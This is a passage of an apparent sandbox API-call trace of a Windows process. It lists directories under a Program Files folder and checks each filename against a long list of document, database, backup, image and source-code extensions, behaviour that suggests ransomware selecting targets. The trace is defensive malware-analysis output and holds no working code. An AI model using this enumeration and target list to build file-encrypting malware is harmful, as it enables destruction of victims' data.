lstrlenW (lpString=".cf") returned 3 [0182.470] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0182.470] lstrlenW (lpString=".cfc") returned 4 [0182.470] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0182.470] lstrlenW (lpString=".cfm") returned 4 [0182.470] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0182.470] lstrlenW (lpString=".cfml") returned 5 [0182.470] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0182.470] lstrlenW (lpString=".cfu") returned 4 [0182.470] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0182.470] lstrlenW (lpString=".chm") returned 4 [0182.470] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0182.470] lstrlenW (lpString=".cin") returned 4 [0182.471] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".class") returned 6 [0182.471] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0182.471] lstrlenW (lpString=".clx") returned 4 [0182.471] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".config") returned 7 [0182.471] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0182.471] lstrlenW (lpString=".cpp") returned 4 [0182.471] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".cr2") returned 4 [0182.471] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".crt") returned 4 [0182.471] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".crw") returned 4 [0182.471] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".cs") returned 3 [0182.471] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0182.471] lstrlenW (lpString=".css") returned 4 [0182.471] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".csv") returned 4 [0182.471] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".cub") returned 4 [0182.471] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".dae") returned 4 [0182.471] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0182.471] lstrlenW (lpString=".dat") returned 4 [0182.472] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".db") returned 3 [0182.472] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0182.472] lstrlenW (lpString=".dbf") returned 4 [0182.472] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".dbx") returned 4 [0182.472] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".dc3") returned 4 [0182.472] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".dcm") returned 4 [0182.472] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".dcr") returned 4 [0182.472] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".der") returned 4 [0182.472] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".dib") returned 4 [0182.472] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".dic") returned 4 [0182.472] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".dif") returned 4 [0182.472] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0182.472] lstrlenW (lpString=".divx") returned 5 [0182.472] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0182.472] lstrlenW (lpString=".djvu") returned 5 [0182.472] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0182.473] lstrlenW (lpString=".dng") returned 4 [0182.473] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0182.473] lstrlenW (lpString=".doc") returned 4 [0182.473] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0182.473] lstrlenW (lpString=".docm") returned 5 [0182.473] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0182.473] lstrlenW (lpString=".docx") returned 5 [0182.473] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0182.473] lstrlenW (lpString=".dot") returned 4 [0182.473] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0182.473] lstrlenW (lpString=".dotm") returned 5 [0182.473] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0182.473] lstrlenW (lpString=".dotx") returned 5 [0182.473] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0182.473] lstrlenW (lpString=".dpx") returned 4 [0182.473] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0182.473] lstrlenW (lpString=".dqy") returned 4 [0182.473] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0182.473] lstrlenW (lpString=".dsn") returned 4 [0182.473] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0182.473] lstrlenW (lpString=".dt") returned 3 [0182.473] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0182.473] lstrlenW (lpString=".dtd") returned 4 [0182.473] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0182.473] lstrlenW (lpString=".dwg") returned 4 [0182.474] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".dwt") returned 4 [0182.474] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".dx") returned 3 [0182.474] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0182.474] lstrlenW (lpString=".dxf") returned 4 [0182.474] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".edml") returned 5 [0182.474] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0182.474] lstrlenW (lpString=".efd") returned 4 [0182.474] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".elf") returned 4 [0182.474] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".emf") returned 4 [0182.474] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".emz") returned 4 [0182.474] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".epf") returned 4 [0182.474] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".eps") returned 4 [0182.474] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0182.474] lstrlenW (lpString=".epsf") returned 5 [0182.474] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0182.474] lstrlenW (lpString=".epsp") returned 5 [0182.474] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0182.474] lstrlenW (lpString=".erf") returned 4 [0182.474] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".exr") returned 4 [0182.476] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".f4v") returned 4 [0182.476] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".fido") returned 5 [0182.476] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0182.476] lstrlenW (lpString=".flm") returned 4 [0182.476] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".flv") returned 4 [0182.476] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".frm") returned 4 [0182.476] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".fxg") returned 4 [0182.476] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".geo") returned 4 [0182.476] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".gif") returned 4 [0182.476] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".grs") returned 4 [0182.476] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0182.476] lstrlenW (lpString=".gz") returned 3 [0182.476] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0182.476] lstrlenW (lpString=".h") returned 2 [0182.477] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.477] lstrlenW (lpString=".hdr") returned 4 [0182.477] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0182.477] lstrlenW (lpString=".hpp") returned 4 [0182.477] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0182.477] lstrlenW (lpString=".hta") returned 4 [0182.477] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0182.477] lstrlenW (lpString=".htc") returned 4 [0182.477] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0182.477] lstrlenW (lpString=".htm") returned 4 [0182.477] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0182.477] lstrlenW (lpString=".html") returned 5 [0182.477] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1 [0182.477] lstrlenW (lpString=".icb") returned 4 [0182.477] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0182.477] lstrlenW (lpString=".ics") returned 4 [0182.477] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0182.477] lstrlenW (lpString=".iff") returned 4 [0182.477] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0182.477] lstrlenW (lpString=".inc") returned 4 [0182.477] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0182.478] lstrlenW (lpString=".indd") returned 5 [0182.478] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1 [0182.478] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0182.478] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0182.478] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0182.478] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0182.480] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0182.480] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IE", cAlternateFileName="")) returned 1 [0182.480] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0182.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0182.491] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7c6d3fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0182.492] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0182.492] lstrlenW (lpString="index.html") returned 10 [0182.492] lstrlenW (lpString=".1cd") returned 4 [0182.492] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0182.492] lstrlenW (lpString=".3ds") returned 4 [0182.492] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0182.492] lstrlenW (lpString=".3fr") returned 4 [0182.492] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0182.492] lstrlenW (lpString=".3g2") returned 4 [0182.492] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0182.492] lstrlenW (lpString=".3gp") returned 4 [0182.492] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0182.492] lstrlenW (lpString=".7z") returned 3 [0182.492] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0182.492] lstrlenW (lpString=".accda") returned 6 [0182.492] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0182.492] lstrlenW (lpString=".accdb") returned 6 [0182.492] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0182.492] lstrlenW (lpString=".accdc") returned 6 [0182.492] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0182.492] lstrlenW (lpString=".accde") returned 6 [0182.492] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0182.492] lstrlenW (lpString=".accdt") returned 6 [0182.492] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0182.493] lstrlenW (lpString=".accdw") returned 6 [0182.493] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0182.493] lstrlenW (lpString=".adb") returned 4 [0182.493] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".adp") returned 4 [0182.493] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".ai") returned 3 [0182.493] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0182.493] lstrlenW (lpString=".ai3") returned 4 [0182.493] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".ai4") returned 4 [0182.493] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".ai5") returned 4 [0182.493] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".ai6") returned 4 [0182.493] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".ai7") returned 4 [0182.493] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".ai8") returned 4 [0182.493] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".anim") returned 5 [0182.493] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0182.493] lstrlenW (lpString=".arw") returned 4 [0182.493] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0182.493] lstrlenW (lpString=".as") returned 3 [0182.494] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0182.494] lstrlenW (lpString=".asa") returned 4 [0182.494] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0182.494] lstrlenW (lpString=".asc") returned 4 [0182.495] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0182.495] lstrlenW (lpString=".ascx") returned 5 [0182.495] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0182.495] lstrlenW (lpString=".asm") returned 4 [0182.495] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0182.495] lstrlenW (lpString=".asmx") returned 5 [0182.495] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0182.495] lstrlenW (lpString=".asp") returned 4 [0182.495] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0182.495] lstrlenW (lpString=".aspx") returned 5 [0182.495] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0182.495] lstrlenW (lpString=".asr") returned 4 [0182.495] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0182.495] lstrlenW (lpString=".asx") returned 4 [0182.495] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0182.495] lstrlenW (lpString=".avi") returned 4 [0182.495] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0182.495] lstrlenW (lpString=".avs") returned 4 [0182.495] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0182.495] lstrlenW (lpString=".backup") returned 7 [0182.495] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0182.495] lstrlenW (lpString=".bak") returned 4 [0182.495] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0182.495] lstrlenW (lpString=".bay") returned 4 [0182.495] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".bd") returned 3 [0182.496] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0182.496] lstrlenW (lpString=".bin") returned 4 [0182.496] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".bmp") returned 4 [0182.496] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".bz2") returned 4 [0182.496] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".c") returned 2 [0182.496] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0182.496] lstrlenW (lpString=".cdr") returned 4 [0182.496] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".cer") returned 4 [0182.496] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".cf") returned 3 [0182.496] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0182.496] lstrlenW (lpString=".cfc") returned 4 [0182.496] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".cfm") returned 4 [0182.496] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".cfml") returned 5 [0182.496] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0182.496] lstrlenW (lpString=".cfu") returned 4 [0182.496] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".chm") returned 4 [0182.496] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0182.496] lstrlenW (lpString=".cin") returned 4 [0182.497] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".class") returned 6 [0182.497] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0182.497] lstrlenW (lpString=".clx") returned 4 [0182.497] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".config") returned 7 [0182.497] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0182.497] lstrlenW (lpString=".cpp") returned 4 [0182.497] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".cr2") returned 4 [0182.497] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".crt") returned 4 [0182.497] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".crw") returned 4 [0182.497] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".cs") returned 3 [0182.497] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0182.497] lstrlenW (lpString=".css") returned 4 [0182.497] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".csv") returned 4 [0182.497] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".cub") returned 4 [0182.497] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".dae") returned 4 [0182.497] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0182.497] lstrlenW (lpString=".dat") returned 4 [0182.498] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".db") returned 3 [0182.498] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0182.498] lstrlenW (lpString=".dbf") returned 4 [0182.498] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".dbx") returned 4 [0182.498] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".dc3") returned 4 [0182.498] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".dcm") returned 4 [0182.498] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".dcr") returned 4 [0182.498] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".der") returned 4 [0182.498] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".dib") returned 4 [0182.498] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".dic") returned 4 [0182.498] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".dif") returned 4 [0182.498] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0182.498] lstrlenW (lpString=".divx") returned 5 [0182.499] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0182.499] lstrlenW (lpString=".djvu") returned 5 [0182.499] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0182.499] lstrlenW (lpString=".dng") returned 4 [0182.499] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0182.499] lstrlenW (lpString=".doc") returned 4 [0182.499] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0182.499] lstrlenW (lpString=".docm") returned 5 [0182.499] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0182.499] lstrlenW (lpString=".docx") returned 5 [0182.499] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0182.499] lstrlenW (lpString=".dot") returned 4 [0182.499] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0182.499] lstrlenW (lpString=".dotm") returned 5 [0182.499] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0182.499] lstrlenW (lpString=".dotx") returned 5 [0182.499] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0182.499] lstrlenW (lpString=".dpx") returned 4 [0182.499] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0182.499] lstrlenW (lpString=".dqy") returned 4 [0182.499] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0182.499] lstrlenW (lpString=".dsn") returned 4 [0182.499] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0182.761] lstrlenW (lpString=".dt") returned 3 [0182.761] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0182.761] lstrlenW (lpString=".dtd") returned 4 [0182.761] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0182.761] lstrlenW (lpString=".dwg") returned 4 [0182.761] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0182.761] lstrlenW (lpString=".dwt") returned 4 [0182.761] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0182.761] lstrlenW (lpString=".dx") returned 3 [0182.761] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0182.761] lstrlenW (lpString=".dxf") returned 4 [0182.761] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0182.761] lstrlenW (lpString=".edml") returned 5 [0182.761] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0182.761] lstrlenW (lpString=".efd") returned 4 [0182.761] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0182.761] lstrlenW (lpString=".elf") returned 4 [0182.761] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0182.761] lstrlenW (lpString=".emf") returned 4 [0182.761] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".emz") returned 4 [0182.762] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".epf") returned 4 [0182.762] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".eps") returned 4 [0182.762] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".epsf") returned 5 [0182.762] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0182.762] lstrlenW (lpString=".epsp") returned 5 [0182.762] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0182.762] lstrlenW (lpString=".erf") returned 4 [0182.762] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".exr") returned 4 [0182.762] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".f4v") returned 4 [0182.762] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".fido") returned 5 [0182.762] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0182.762] lstrlenW (lpString=".flm") returned 4 [0182.762] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".flv") returned 4 [0182.762] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".frm") returned 4 [0182.762] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0182.762] lstrlenW (lpString=".fxg") returned 4 [0182.762] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".geo") returned 4 [0182.763] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".gif") returned 4 [0182.763] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".grs") returned 4 [0182.763] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0182.763] lstrlenW (lpString=".gz") returned 3 [0182.763] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0182.763] lstrlenW (lpString=".h") returned 2 [0182.763] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0182.763] lstrlenW (lpString=".hdr") 